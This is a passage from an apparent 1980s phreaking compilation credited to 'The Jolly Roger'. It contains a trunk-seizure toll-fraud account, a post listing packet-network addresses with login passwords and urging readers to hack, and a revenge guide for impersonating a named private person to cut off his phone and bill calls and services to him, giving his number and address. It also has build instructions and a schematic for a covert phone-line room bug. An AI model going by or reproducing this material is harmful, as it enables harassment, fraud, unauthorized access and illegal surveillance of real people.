  18145. THEY PHREAKS DID WAS TO DIAL A SPARE NUMBER AT A LOCAL CALL RATE BUT
  18146. INVOLVING
  18147. A TRUNK TO ANOTHER EXCHANGE THEN THEY SEND A 'CLEAR FORWARD' TO THEIR LOCAL
  18148. EXCHANGE, INDICATING TO IT THAT THE CALL IS FINISHED;BUT THE DISTANT
  18149. EXCHANGE
  18150. DOESN'T REALIZE BECAUSE THE CALLER'S PHONE IS STILL OFF THE HOOK.  THEY NOW
  18151. HAVE AN OPEN LINE INTO THE DISTANT TRUNK EXCHANGE AND SENDS TO IT A 'SEIZE'
  18152. SIGNAL:  '1' WHICH PUTS HIM ONTO ITS OUTGOING LINES NOW, IF THEY KNOW THE
  18153. CODES, THE WORLD IS OPEN TO THEM.  ALL OTHER EXCHANGES TRUST HIS LOCAL
  18154. EXCHANGE
  18155. TO HANDLE THE BILLING; THEY JUST INTERPRET THE TONES THEY HEAR.  MEAN
  18156. WHILE,
  18157. THE LOCAL EXCHANGE COLLECTS ONLY FOR A LOCAL CALL.  THE INVESTIGATORS
  18158. DISCOVERED THE PHREAKS HOLDING A CONFERENCE SOMEWHERE IN ENGLAND SURROUNDED
  18159. BY
  18160. VARIOUS PHONE EQUIPMENT AND BLEEPER BOXES, ALSO PRINTOUTS LISTING 'SECRET'
  18161. POST
  18162. OFFICE CODES.  (THEY PROBABLY GOT THEM FROM TRASHING?) THE JUDGE SAID:
  18163. "SOME
  18164. TAKE TO HEROIN, SOME TAKE TO TELEPHONES" FOR THEM PHONE PHREAKING WAS NOT A
  18165. CRIME BUT A HOBBY TO BE SHARED WITH PHELLOW ENTHUSIASTS AND DISCUSSED WITH
  18166. THE
  18167. POST OFFICE OPENLY OVER DINNER AND BY MAIL.  THEIR APPROACH AND ATTITUDE TO
  18168. THE
  18169. WORLDS LARGEST COMPUTER, THE GLOBAL TELEPHONE SYSTEM, WAS THAT OF
  18170. SCIENTISTS
  18171. CONDUCTING EXPERIMENTS OR PROGRAMMERS AND ENGINEERS TESTING PROGRAMS AND
  18172. SYSTEMS.  THE JUDGE APPEARED TO AGREE, AND EVEN ASKED THEM FOR PHREAKING
  18173. CODES
  18174. TO USE FROM HIS LOCAL EXCHANGE!!!
  18175.  
  18176.                     (Left Untouched as I got it...-----JR)
  18177.  
  18178.  
  18179.  
  18180.                 -------->Courtesy of The Jolly Roger<--------
  18181.  
  18182.                                Bad as Shit
  18183.  
  18184.    Recently, a telephone fanatic in the  northwest made an interesting
  18185. discovery.  He was exploring the 804 area code (Virginia) and found out
  18186. that
  18187. the 840 exchange did something strange.
  18188.   In the vast majority of cases, in fact in all of the cases except one, he
  18189. would get a recording as if the exchange didn't exist. However, if he
  18190. dialed
  18191. 804-840 and four rather predictable numbers, he got a ring!
  18192.  
  18193.  
  18194. ç   After one or two rings, somebody picked up.  Being experienced at this
  18195. kind
  18196. of thing, he could tell that the call didn't "supe", that is, no charges
  18197. were
  18198. being incurred for calling this number.
  18199.   (Calls that get you to an error message, or a special operator, generally
  18200. don't supervise.)  A female voice, with a hint of a Southern accent said,
  18201. "Operator, can I help you?"
  18202.  
  18203.    "Yes," he said, "What number have I reached?"
  18204.  
  18205.    "What number did you dial, sir?"
  18206.  
  18207.    He made up a number that was similar.
  18208.  
  18209.    "I'm sorry that is not the number you reached."  Click.
  18210.  
  18211.    He was fascinated.  What in the world was this?  He knew he was going to
  18212. call back, but before he did, he tried some more experiments. He tried the
  18213. 840
  18214. exchange in several other area codes.  In some, it came up as a valid
  18215. exchange.
  18216. In others, exactly the same thing happened -- the same last four digits,
  18217. the
  18218. same Southern belle.  Oddly enough, he later noticed, the areas worked in
  18219. seemed to travel in a beeline from Washington DC to Pittsburgh, PA.
  18220.  
  18221.    He called back from a payphone.  "Operator, can I help you?"
  18222.  
  18223.    "Yes, this is the phone company.  I'm testing this line and we don't
  18224. seem to
  18225. have an identification on your circuit.  What office is this, please?"
  18226.  
  18227.    "What number are you trying to reach?"
  18228.  
  18229.    "I'm not trying to reach any number.  I'm trying to identify this
  18230. circuit."
  18231.  
  18232.    "I'm sorry, I can't help you."
  18233.  
  18234.    "Ma'am, if I don't get an ID on this line, I'll have to disconnect it.
  18235. We
  18236. show no record of it here."
  18237.  
  18238.    "Hold on a moment, sir."
  18239.  
  18240.    After about a minute, she came back.  "Sir, I can have someone speak to
  18241. you.
  18242. Would you give me your number, please?"
  18243.  
  18244.    He had anticipated this and he had the payphone number ready. After he
  18245. gave
  18246. it, she said, "Mr. XXX will get right back to you."
  18247.  
  18248.    "Thanks."  He hung up the phone.  It rang.  INSTANTLY!  "Oh my God," he
  18249. thought, "They weren't asking for my number -- they were confirming it!"
  18250.  
  18251.    "Hello," he said, trying to sound authoritative.
  18252.  
  18253.  
  18254. ç   "This is Mr. XXX.  Did you just make  an inquiry to my office concerning
  18255. a
  18256. phone number?"
  18257.  
  18258.    "Yes.  I need an identi--"
  18259.  
  18260.    "What you need is advice.  Don't ever call that number again. Forget you
  18261. ever knew it."
  18262.  
  18263.    At this point our friend got so nervous he just hung up.  He expected to
  18264. hear the phone ring again but it didn't.
  18265.  
  18266.    Over the next few days he racked his brains trying to figure out what
  18267. the
  18268. number was.  He knew it was something big -- that was pretty certain at
  18269. this
  18270. point.  It was so big that the number was programmed into every central
  18271. office
  18272. in the country.  He knew this because if he tried to dial any other number
  18273. in
  18274. that exchange, he'd get a local error message from his CO, as if the
  18275. exchange
  18276. didn't exist.
  18277.  
  18278.    It finally came to him.  He had an uncle who worked in a federal agency.
  18279. He
  18280. had a feeling that this was government related and if it was, his uncle
  18281. could
  18282. probably find out what it was.  He asked the next day and his uncle
  18283. promised to
  18284. look into the matter.
  18285.  
  18286.    The next time he saw his uncle, he noticed a big change in his manner.
  18287. He
  18288. was trembling.  "Where did you get that number?!"  he shouted.  "Do you
  18289. know I
  18290. almost got fired for asking about it?!? They kept wanting to know where I
  18291. got
  18292. it."
  18293.  
  18294.    Our friend couldn't contain his excitement.  "What is it?" he pleaded.
  18295. "What's the number?!"
  18296.  
  18297. "IT'S THE PRESIDENT'S BOMB SHELTER!"
  18298.  
  18299.    He never called the number after that.  He knew that he could probably
  18300. cause
  18301. quite a bit of excitement by calling the number and saying something like,
  18302. "The
  18303. weather's not good in Washington.  We're coming over for a visit."  But our
  18304. friend was smart.  he knew that there were some things that were better off
  18305. unsaid and undone.
  18306.  
  18307.      (A fucking great story from the Official Phreaker's Guide)
  18308.  
  18309.                          ------------Jolly Roger
  18310.  
  18311.  
  18312.  
  18313.  
  18314. Telenet                                       Courtesy of the Jolly Roger
  18315.  
  18316.  
  18317.   It seems that not many of you know that Telenet is connected to about 80
  18318. computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
  18319. with
  18320. thousands of unprotected computers. When you call your local Telenet-
  18321. gateway,
  18322. you can only call those computers which accept reverse-charging- calls.
  18323.   If you want to call computers in foreign countries or computers in USA
  18324. which
  18325. do not accept R-calls, you need a Telenet-ID. Did you ever notice that you
  18326. can
  18327. type ID XXXX when being connected to Telenet? You are then asked for the
  18328. password. If you have such a NUI (Network-User-ID) you can call nearly
  18329. every
  18330. host connected to any computer-network in the world. Here are some
  18331. examples:
  18332.  
  18333. 026245400090184 :Is a VAX in Germany  (Username: DATEXP and leave mail for
  18334. CHRIS  !!!)
  18335. 0311050500061   :Is the Los Alamos Integrated computing network (One of the
  18336. hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
  18337. 0530197000016   :Is a BBS in New Zealand
  18338. 024050256       :Is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
  18339. 02284681140541  :CERN in Geneva in Switzerland (one of the biggest nuclear
  18340. research centers in the world) Login as GUEST
  18341. 0234212301161   :A Videotex-standard system. Type OPTEL to get in and use
  18342. the
  18343. ID 999_ with the password 9_
  18344. 0242211000001   :University of Oslo in Norway (Type  LOGIN 17,17  to play
  18345. the
  18346. Multi-User-Dungeon !)
  18347. 0425130000215   :Something like ITT Dialcom, but this one is in Israel ! ID
  18348. HELP  with password HELP  works fine with security level 3
  18349. 0310600584401   :Is the Washington Post News Service via Tymnet (Yes,
  18350. Tymnet is
  18351. connected to Telenet, too !)  ID and Password is: PETER You can read the
  18352. news
  18353. of the next day !
  18354.  
  18355. The prefixes are as follows:
  18356. 02624  is Datex-P in Germany
  18357. 02342  is PSS in England
  18358. 03110  is Telenet in USA
  18359. 03106  is Tymnet in USA
  18360. 02405  is Telepak in Sweden
  18361. 04251  is Isranet in Israel
  18362. 02080  is Transpac in France
  18363. 02284  is Telepac in Switzerland
  18364. 02724  is Eirpac in Ireland
  18365. 02704  is Luxpac in Luxembourg
  18366. 05252  is Telepac in Singapore
  18367. 04408  is Venus-P in Japan
  18368. ...and so on... Some of the countries have more than one
  18369. packet-switching-network (USA has 11, Canada has 3, etc).
  18370.  
  18371. OK. That should be enough for the moment. As you see most of the passwords
  18372.  
  18373.  
  18374. are
  18375. very simple. This is because they must not have any fear of hackers. Only a
  18376. few
  18377. German hackers use these networks. Most of the computers are absolutely
  18378. easy to
  18379. hack !!! So, try to find out some Telenet-ID's and leave them here. If you
  18380. need
  18381. more numbers, leave e-mail.
  18382. I'm calling from Germany via the German Datex-P network, which is similar
  18383. to
  18384. Telenet. We have a lot of those NUI's for the German network, but none for
  18385. a
  18386. special Tymnet-outdial-computer in USA, which connects me to any phone #.
  18387.  
  18388. CUL8R,  Mad Max
  18389.  
  18390. PS: Call 026245621040000 and type ID INF300 with password DATACOM to get
  18391. more
  18392.  
  18393. Informations on packet-switching-networks !
  18394.  
  18395. PS2: The new password for the Washington Post is KING !!!!
  18396.  
  18397.  
  18398. Fucking with the Operator                    courtesy of the Jolly Roger
  18399.  
  18400.            Ever get an operator who gave you a hard time, and you didn't
  18401. know
  18402. what to do? Well if the operator hears you use a little Bell jargon, she
  18403. might
  18404. wise up. Here is a little diagram (excuse the artwork) of the structure of
  18405. operators
  18406.  
  18407. /--------\     /------\     /-----\
  18408. !Operator!-- > ! S.A. ! --->! BOS !
  18409. \--------/     \------/     \-----/
  18410.    !
  18411.    !
  18412.    V
  18413. /-------------\
  18414. ! Group Chief !
  18415. \-------------/
  18416.  
  18417.     Now most of the operators are not bugged, so they can curse at you, if
  18418. they
  18419. do ask INSTANTLY for the "S.A." or the Service Assistant. The operator does
  18420. not
  18421. report to her (95% of them are hers) but they will solve most of your
  18422. problems.
  18423. She MUST give you her name as she connects & all of these calls are bugged.
  18424. If
  18425. the SA gives you a rough time get her BOS (Business Office Supervisor) on
  18426. the
  18427. line. S/He will almost always back her girls up, but sometimes the SA will
  18428. get
  18429. tarred and feathered. The operator reports to the Group Chief, and S/He
  18430. will
  18431. solve 100% of your problems, but the chances of getting S/He on the line
  18432.  
  18433.  
  18434. are
  18435. nill.
  18436.     If a lineman (the guy who works out on the poles) or an installation
  18437. man
  18438. gives you the works ask to speak to the Installation Foreman, that works
  18439. wonders.
  18440.     Here is some other bell jargon, that might come in handy if you are
  18441. having
  18442. trouble with the line. Or they can be used to lie your way out of
  18443. situations....
  18444.  
  18445.      An Erling is a line busy for 1 hour, used mostly in traffic studies A
  18446. Permanent Signal is that terrible howling you get if you disconnect, but
  18447. don't
  18448. hang up.
  18449.      Everyone knows what a busy signal is, but some idiots think that is
  18450. the
  18451. *Actual* ringing of the phone, when it just is a tone "beeps" when the
  18452. phone is
  18453. ringing, wouldn't bet on this though, it can (and does) get out of sync.
  18454.      When you get a busy signal that is 2 times as fast as the normal one,
  18455. the
  18456. person you are trying to reach isn't really on the phone, (he might be), it
  18457. is
  18458. actually the signal that a trunk line somewhere is busy and they haven't or
  18459. can't reroute your call. Sometimes you will get a Recording, or if you get
  18460. nothing at all (Left High & Dry in fone terms) all the recordings are being
  18461. used and the system is really overused, will probably go down in a little
  18462. while. This happened when Kennedy was shot, the system just couldn't handle
  18463. the
  18464. calls. By the way this is called the "reorder signal" and the trunk line is
  18465. "blocked".
  18466.      One more thing, if an overseas call isn't completed and doesn't
  18467. generate
  18468. any money for AT&T, is is called an "Air & Water Call".
  18469.  
  18470.  
  18471.  
  18472.                                 ==Phrack Inc.==
  18473.  
  18474.                      Volume One, Issue One, Phile #4 of 8
  18475.  
  18476.                         THE PHONE PHREAK'S FRY-UM GUIDE
  18477.  
  18478.                          COMPILED BY THE IRON SOLDIER
  18479.  
  18480.                             WITH HELP FROM DR. DOVE
  18481.  
  18482.  
  18483. NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN MORE
  18484. IN
  18485. THE ART OF VENGEANCE IT WILL ALWAYS EXPAND.
  18486.  
  18487.  
  18488. "Vengeance is mine", says the Phreak.
  18489.  
  18490.  
  18491. METHOD 1-PHONE LINE PHUN
  18492.  
  18493.  
  18494. çCall up the business office.  It should be listed at the front of the white
  18495. pages.  Say you wanted to disconnect Scott Korman's line. DIAL
  18496. 800-xxx-xxxx.
  18497.       "Hello, this is Mr. Korman, I'm moving to California and would like
  18498. to
  18499. have  my phone service disconnected. I'm at the airport now.  I'm calling
  18500. from
  18501. a payphone, my number is  [414] 445 5005. You can send my final bill to:
  18502. (somewhere in California). Thank you."
  18503.  
  18504.  
  18505. METHOD 2-PHONE BOOKS
  18506.  
  18507. Call up the business office from a pay phone.  Say :
  18508.      "Hello, I'd like to order a Phone Book for Upper Volta (or any
  18509. out-of-the
  18510. way area with Direct Dialing).  This is Scott Korman, ship to 3119 N. 44th
  18511. St.
  18512. Milwaukee, WI 53216.  Yes, I under stand it will cost $xx($25-$75!!). Thank
  18513. you."
  18514.  
  18515.  
  18516. METHOD 3-PHONE CALLS
  18517.  
  18518. Call up a PBX, enter the code and get an outside line.  Then dial 0+ the
  18519. number
  18520. desired to call.  You will hear a bonk and then an operator.  Say, "I'd
  18521. like to
  18522. charge this to my home phone at 414-445-5005. Thank you."  A friend and I
  18523. did
  18524. this to a loser, I called him at 1:00 AM and we left the fone off the hook
  18525. all
  18526. night.  I calculated that it cost him $168.
  18527.  
  18528.  
  18529. METHOD 4-MISC SERVICES
  18530.  
  18531. Call up the business office once again from a payfone.  Say you'd like call
  18532. waiting, forwarding, 3 way, etc.  Once again you are the famed loser Scott
  18533. Korman.  He pays-you laugh.  You don't know how funny it was talking to
  18534. him,
  18535. and wondering what those clicks he kept hearing were.
  18536.  
  18537.  
  18538. METHOD 5-CHANGED & UNPUB
  18539.  
  18540. Do the same as in #4, but say you'd like to change and unlist your
  18541. (Scott's)
  18542. number.  Anyone calling him will get:
  18543.  
  18544.     "BEW BEW BEEP.  The number you have reached, 445-5005, has been changed
  18545. to
  18546. a non-published number.  No further....."
  18547.  
  18548.  
  18549. METHOD 6-FORWRDING
  18550.  
  18551.     This required an accomplice or two or three.  Around Christmas time, go
  18552.  
  18553.  
  18554. to
  18555. Toys 'R' Us.  Get everyone at the customer service or manager's desk away
  18556. ("Hey, could you help me").  then you get on their phone and dial (usually
  18557. dial
  18558. 9 first) and the business office again. This time, say you are from Toys
  18559. 'R'
  18560. Us, and you'd like to add call forwarding to 445-5005.  Scott will get
  18561. 100-600
  18562. calls a day!!!
  18563.  
  18564.  
  18565. METHOD 7-RUSSIAN CALLER
  18566.  
  18567.     Call a payphone at 10:00 PM.  Say to the operator that you'd like to
  18568. book a
  18569. call to Russia.  Say you are calling from a payphone, and your number is
  18570. that
  18571. of the loser to fry (e.g. 445-5005). She will say that she'll have to call
  18572. ya
  18573. back in 5 hours, and you ok that. Meanwhile the loser (e.g.) Scott, will
  18574. get a
  18575. call at 3:00 AM from an operator saying that the call he booked to Russia
  18576. is
  18577. ready.
  18578.  
  18579.  
  18580. IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON.
  18581. The Iron Soldier
  18582. TSF-The Second Foundation!
  18583.  
  18584.  
  18585.  
  18586. International Country Code Listing            courtesy of the Jolly Roger
  18587.  
  18588.  
  18589. *UNITED KINGDOM/IRELAND
  18590. ------------------------------------
  18591. IRELAND.........................353
  18592. UNITED KINGDOM...................44
  18593.  
  18594. *EUROPE
  18595. ------------------------------------
  18596. ANDORRA..........................33
  18597. AUSTRIA..........................43
  18598. BELGIUM..........................32
  18599. CYPRUS..........................357
  18600. CZECHOLSLOVAKIA..................42
  18601. DENMARK..........................45
  18602. FINLAND.........................358
  18603. FRANCE...........................33
  18604. GERMAN DEMOCRATIC REPUBLIC.......37
  18605. GERMANY, FEDERAL REPUBLIC OF.....49
  18606. GIBRALTAR.......................350
  18607. GREECE...........................30
  18608. HUNGARY..........................36
  18609. ICELAND.........................354
  18610. ITALY............................39
  18611. LIECHTENSTEIN....................41
  18612.  
  18613.  
  18614. LUXEMBOURG......................352
  18615. MONACO...........................33
  18616. NETHERLANDS......................31
  18617. NORWAY...........................47
  18618. POLAND...........................48
  18619. PORTUGAL........................351
  18620. ROMANIA..........................40
  18621. SAN MARINO.......................39
  18622. SPAIN............................34
  18623. SWEDEN...........................46
  18624. SWITZERLAND......................41
  18625. TURKEY...........................90
  18626. VATICAN CITY.....................39
  18627. YUGOSLAVIA.......................38
  18628.  
  18629. *CENTRAL AMERICA
  18630. ------------------------------------
  18631. BELIZE..........................501
  18632. COSTA RICA......................506
  18633. EL SALVADOR.....................503
  18634. GUATEMALA.......................502
  18635. HONDURAS........................504
  18636. NICARAGUA.......................505
  18637. PANAMA..........................507
  18638.  
  18639. *AFRICA
  18640. ------------------------------------
  18641. ALGERIA.........................213
  18642. CAMEROON........................237
  18643. EGYPT............................20
  18644. ETHIOPIA........................251
  18645. GABON...........................241
  18646. IVORY COAST.....................225
  18647. KENYA...........................254
  18648. LESOTHO.........................266
  18649. LIBERIA.........................231
  18650. LIBYA...........................218
  18651. MALAWI..........................265
  18652. MOROCCO.........................212
  18653. NAMIBIA.........................264
  18654. NIGERIA.........................234
  18655. SENEGAL.........................221
  18656. SOUTH AFRICA.....................27
  18657. SWAZILAND.......................268
  18658. TANZANIA........................255
  18659. TUNISIA.........................216
  18660. UGANDA..........................256
  18661. ZAMBIA..........................260
  18662. ZIMBABWE........................263
  18663.  
  18664. *PACIFIC
  18665. ------------------------------------
  18666. AMERICAN SAMOA..................684
  18667. AUSTRAILIA.......................61
  18668. BRUNEI..........................673
  18669. FIJI............................679
  18670. FRENCH POLYNESIA................689
  18671. GUAM............................671
  18672.  
  18673.  
  18674. HONG KONG.......................852
  18675. INDONESIA........................62
  18676. JAPAN............................81
  18677. KOREA, REPUBLIC OF...............82
  18678. MALAYSIA.........................60
  18679. NEW CALEDONIA...................687
  18680. NEW ZEALAND......................64
  18681. PAPUA NEW GUINEA................675
  18682. PHILIPPINES......................63
  18683. SAIPAN..........................670
  18684. SINGAPORE........................65
  18685. TAIWAN..........................886
  18686. THAILAND.........................66
  18687.  
  18688. *INDIAN OCEAN
  18689. ------------------------------------
  18690. PAKISTAN.........................92
  18691. SRI LANKA........................94
  18692.  
  18693. *SOUTH AMERICA
  18694. ------------------------------------
  18695. ARGENTINA........................54
  18696. BOLIVIA.........................591
  18697. BRAZIL...........................55
  18698. CHILE............................56
  18699. COLOMBIA.........................57
  18700. ECUADOR.........................593
  18701. GUYANA..........................592
  18702. PARAGUAY........................595
  18703. PERU.............................51
  18704. SURINAME........................597
  18705. URUGUAY.........................598
  18706. VENEZUELA........................58
  18707.  
  18708. *NEAR EAST
  18709. ------------------------------------
  18710. BAHRAIN.........................973
  18711. IRAN.............................98
  18712. IRAQ............................964
  18713. ISRAEL..........................972
  18714. JORDAN..........................962
  18715. KUWAIT..........................965
  18716. OMAN............................968
  18717. QATAR...........................974
  18718. SAUDI ARABIA....................966
  18719. UNITED ARAB EMIRATES............971
  18720. YEMEN ARAB REPUBLIC.............967
  18721.  
  18722. *CARIBBEAN/ATLANTIC
  18723. ------------------------------------
  18724. FRENCH ANTILLES.................596
  18725. GUANTANAMO BAY (US NAVY BASE)....53
  18726. HAITI...........................509
  18727. NETHERLANDS ANTILLES............599
  18728. ST. PIERRE AND MIQUELON.........508
  18729.  
  18730. *INDIA
  18731. ------------------------------------
  18732.  
  18733.  
  18734. INDIA............................91
  18735.  
  18736. *CANADA
  18737. ------------------------------------
  18738. TO CALL CANADA, DIAL 1 + AREA CODE +
  18739. LOCAL NUMBER.
  18740.  
  18741. *MEXICO
  18742. ------------------------------------
  18743. TO CALL MEXICO, DIAL 011 + 52 + CITY CODE+ LOCAL NUMBER.
  18744.  
  18745.  
  18746. To dial international calls:
  18747.  
  18748. International Access Code + Country code + Routing code
  18749.  
  18750. Example :
  18751.  
  18752. To call Frankfurt, Germany, you would do the following:
  18753.  
  18754. 011 + 49 + 611 + (# wanted) + # sign(octothrope)
  18755.  
  18756. The # sign at the end is to tell Bell that you are done entering in all the
  18757. needed info.
  18758.  
  18759.  
  18760. The Infinity Transmitter                  courtesy of the Jolly Roger
  18761.                                           originally typed by:
  18762.                                                     <<<Ghost Wind>>>
  18763.  
  18764.                          FROM THE BOOK BUILD YOUR OWN
  18765.          LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS
  18766.                        BY ROBERT IANNINI (TAB BOOKS INC)
  18767.  
  18768. Description:  Briefly, the Infinity Transmitter is a device which activates
  18769. a
  18770. microphone via a phone call.  It is plugged into the phone line, and when
  18771. the
  18772. phone rings, it  will immediately intercept the ring and broadcast into the
  18773. phone any sound that is in the room. This device was originally made by
  18774. Information Unlimited, and had a touch tone decoder to prevent all who did
  18775. not
  18776. know the code from being able to use the phone in its normal way.  This
  18777. version, however, will activate the microphone for anyone who calls while
  18778. it is
  18779. in operation.
  18780. NOTE:  It is illegal to use this device to try to bug someone. It is also
  18781. pretty stupid because they are fairly noticeable.
  18782. Parts List:
  18783. Pretend that uF means micro Farad, cap= capacitor
  18784.  
  18785. Part           #          Description
  18786. ----           -          -----------
  18787. R1,4,8         3         390 k 1/4 watt resistor
  18788. R2             1         5.6 M 1/4 watt resistor
  18789. R3,5,6         3         6.8 k 1/4 watt resistor
  18790. R7/S1          1         5 k pot/switch
  18791. R9,16          2         100 k 1/4 watt resistor
  18792.  
  18793.  
  18794. R10            1         2.2 k 1/4 watt resistor
  18795. R13,18         2         1 k 1/4 watt resistor
  18796. R14            1         470 ohm 1/4 watt resistor
  18797. R15            1         10 k 1/4 watt resistor
  18798. R17            1         1 M 1/4 watt resistor
  18799. C1             1         .05 uF/25 V disc cap
  18800. C2,3,5,6,7     5         1 uF 50 V electrolytic cap or tant
  18801.                           (preferably non-polarized)
  18802. C4,11,12       3         .01 uF/50 V disc cap
  18803. C8,10          2         100 uF @ 25 V electrolytic cap
  18804. C9             1         5 uF @ 150 V electrolytic cap
  18805. C13            1         10 uF @ 25 V electrolytic cap
  18806. TM1            1         555 timer dip
  18807. A1             1         CA3018 amp array in can
  18808. Q1,2           2         PN2222 npn sil transistor
  18809. Q3             1         D4OD5 npn pwr tab transistor
  18810. D1,2           2         50 V 1 amp react. 1N4002
  18811. T1             1         1.5 k/500 matching transformer
  18812. M1             1         large crystal microphone
  18813. J1             1         Phono jack optional for sense output
  18814. WR3            (24")     #24 red and black hook up wire
  18815. WR4            (24")     #24 black hook up wire
  18816. CL3,4          2         Alligator clips
  18817. CL1,2          2         6" battery snap clips
  18818. PB1            1         1 3/4x4 1/2x.1 perfboard
  18819. CA1            1         5 1/4x3x2 1/8 grey enclosure fab
  18820. WR15           (12")     #24 buss wire
  18821. KN1            1         small plastic knob
  18822. BU1            1         small clamp bushing
  18823. B1,2           2         9 volt transistor battery or 9V ni-cad
  18824.  
  18825. Circuit Operation: Not being the most technical guy in the world, and not
  18826. being
  18827. very good at electronics (yet),  I'm just repeating what Mr. Iannini's said
  18828. about the circuit operation.  The Transmitter consists of a high grain
  18829. amplifier fed into the telephone lines via transformer.  The circuit is
  18830. initiated by the action  of  a voltage transient pulse occurring across
  18831. the
  18832. phone line  at the instant the telephone circuit is made (the ring,  in
  18833. other
  18834. words).  This transient immediately triggers a timer  whose output  pin  3
  18835. goes
  18836. positive, turning on transistors Q2 and  Q3. Timer TM1 now remains in this
  18837. state for a period depending on the values  of R17 and C13 (usually about
  18838. 10
  18839. seconds for  the  values shown). When Q3 is turned on by the timer, a
  18840. simulated
  18841. "off hook" condition is created by the switching action of Q3 connecting
  18842. the
  18843. 500  ohm  winding  of the transformer directly across  the  phone lines.
  18844. Simultaneously, Q2 clamps the ground of A1, amplifier, and Q1, output
  18845. transistor, to the negative return of B1,B2, therefore enabling this
  18846. amplifier
  18847. section.  Note that B2 is always required by  supplying  quiescent power to
  18848. TM1
  18849. during  normal conditions. System is off/on controlled by S1 (switch).
  18850.   A  crystal mike picks up the sounds that are fed to  the  first two
  18851. transistors of the A1 array connected as an emitter follower driving the
  18852.  
  18853.  
  18854. remaining  two  transistors  as  cascaded   common emitters. Output of the
  18855. array now drives Q1 capacitively coupled to  the  1500 ohm  winding of  T1.
  18856. R7  controls  the  pick  up sensitivity of the system.
  18857.   Diode  D1  is  forward biased at the instant of  connection  and
  18858. essentially
  18859. applies a negative pulse at pin 2 of TM1,  initiating the cycle.   D2
  18860. clamps
  18861. any high positive pulses.   C9 dc-isolates and desensitizes the circuit.
  18862. The
  18863. system described should operate when any incoming call is made without
  18864. ringing
  18865. the phone.
  18866.  
  18867. Schematic Diagram:  Because this is text,  this doesn't look  too hot.
  18868. Please
  18869. use  a little imagination!  I will hopefully get  a graphics drawing  of
  18870. this
  18871. out as soon as I  can  on  a  Fontrix graffile.
  18872.  
  18873. To be able to see what everything is, this character: | should appear as a
  18874. horizontal bar. I did this on a ][e using a ][e 80 column card, so I'm
  18875. sorry if
  18876. it looks kinda weird to you.
  18877.  
  18878. Symbols:
  18879.  resistor: -/\/\/-            switch: _/ _
  18880.  battery:  -|!|!-             capacitor (electrolytic): -|(-
  18881.  capacitor (disc): -||-                   _    _
  18882.  transistor:(c)  > (e)        Transformer: )||(
  18883.               \_/                          )||(
  18884.                |(b)                       _)||(_
  18885.  diode: |<
  18886.  chip: ._____.
  18887.        !_____! (chips are easy to recognize!)
  18888.  
  18889.  Dots imply a connection between wires. NO DOT, NO CONNECTION.
  18890. ie.:  _!_ means a connection while _|_ means no connection.
  18891. ---------------------------------------------------------------------------╝-
  18892.  
  18893. .________________________to GREEN wire phone line
  18894. |
  18895. | .______________________to RED wire phone line
  18896. | |
  18897. | |     ._________(M1)______________.
  18898. | |     |                           |
  18899. | |     |           R1              |
  18900. | |     !__________/\/\/____________!
  18901. | |     |                          _!_ C1
  18902. | |     |this wire is the amp      ___
  18903. | |     |<=ground                   |                     R2
  18904. | |     |                           !___________________/\/\/_____________.
  18905. | |     |                   ._______!_______.                             |
  18906. | |     !___________________!4      9     11!_____________________________!
  18907. | |     |                   |               |                             |
  18908. | |     !___________________!7            12._____________________________!
  18909. | |     |                   |     A1        |              R3             |
  18910. | |     !___________________!10       ____*8!_______.____/\/\/____________!
  18911.  
  18912.  
  18913. ^
  18914. | |     |                   |        /      |       |                     |
  18915. |
  18916. | |     |    C4             |       /       |       \
  18917. |2ma
  18918. | |     !____||______.      |      /        |       /R4                B1 +
  18919. | |     |    ||      |      |     /         |       \
  18920. |!|!
  18921. | |     |     R7     |  C2  |    /          |       /                     |
  18922. | |     !____/\/\/___!__)|__!8*_/           |       |                 S1  |
  18923. | |     |     ^             |              6!_______!           neg<__/.__!
  18924. | |     |     |     C3      |               |       | C5       return     |
  18925. | |     |     !_____|(___.__!3              |       '-|(-|                |
  18926. | |     |                |  |       5      1!____________!                |
  18927. | |     |                \  !_______._______!            |
  18928. B2|!|!
  18929. | |     !________.    R8 /          |                    |                +
  18930. | |              |       \          |                    |      R6
  18931. |3ma
  18932. | |              |       !__________!____________________|_____/\/\/______!
  18933. |
  18934. | |              |    R5            |                    |                |
  18935. v
  18936. | |              !__/\/\/___________|____________________!                |
  18937. | |              |                  |                                     |
  18938. | |              |                  |                                     |
  18939. | |              |               C6 |                                     |
  18940. | |              |             |-)|-'             R9                      |
  18941. | |              |             !_________________/\/\/_______.            |
  18942. | |              |             |                             |            |
  18943. | |              |         Q1 _!_                            |   R10      |
  18944. | |              !____________/ \____________________________!__/\/\/_____!
  18945. | |              |                                           |            |
  18946. | |              |                                           |            |
  18947. | |              |          C8                               |            |
  18948. | |              !__________)|_______________________________|____________!
  18949. | |              !                                           |            |
  18950. | |             /                                            |            |
  18951. | |       -----|                                             |            |
  18952. | |       |     \                                            |            |
  18953. | |       |      >                                           |            |
  18954. | |       |      |                                           |            |
  18955. | |       |      |                                           |            |
  18956. | |       |      !_____________.                             |            |
  18957. | |       |                    |                             |            |
  18958. | |       !__________.         |                             |            |
  18959. | |                  |         |                             |            |
  18960. | !________.         |         |                       ._____!            |
  18961. |          |         |         |                       |                  |
  18962. |          |         |         |                       |                  |
  18963. |          |         |         |                       | C7               |
  18964. |          |         |         |                       '-|(-|             |
  18965. |          |_________|_________!_______.T1._________________|             |
  18966. |                    |         |  1500 )||( 500                           |
  18967. |                    |         |   ohm )||( ohm                           |
  18968. |                    |         !______.)||(.__.                           |
  18969. |                    |         |              |                           |
  18970. |                    |         |              |                           |
  18971.  
  18972.  
  18973. |                    |         |              >                           |
  18974. |                    |         |            |/                            |
  18975. |                    |         |       +----|   Q3                        |
  18976. |                    |         |       |    |\                            |
  18977. !____________________|_________|_______|______!__. D1   C9                |
  18978.                      |         |       |         '-|<---|(------|         |
  18979.       .______________!         |       |                        |         |
  18980.       |                        |       |                        |         |
  18981.       |       .________________!       |                        |         |
  18982.       |       |                        |                        |         |
  18983.       \       |       .________________!             C11        |         |
  18984.       /       |       |                       .___||____________!         |
  18985.   R13 \       |       |                       |   ||            |         |
  18986.       /       |       |                       |                 |         |
  18987.       \       !___.___|_______________________!                 |         |
  18988.       |       |   |   |                       |     R16         |    R15  |
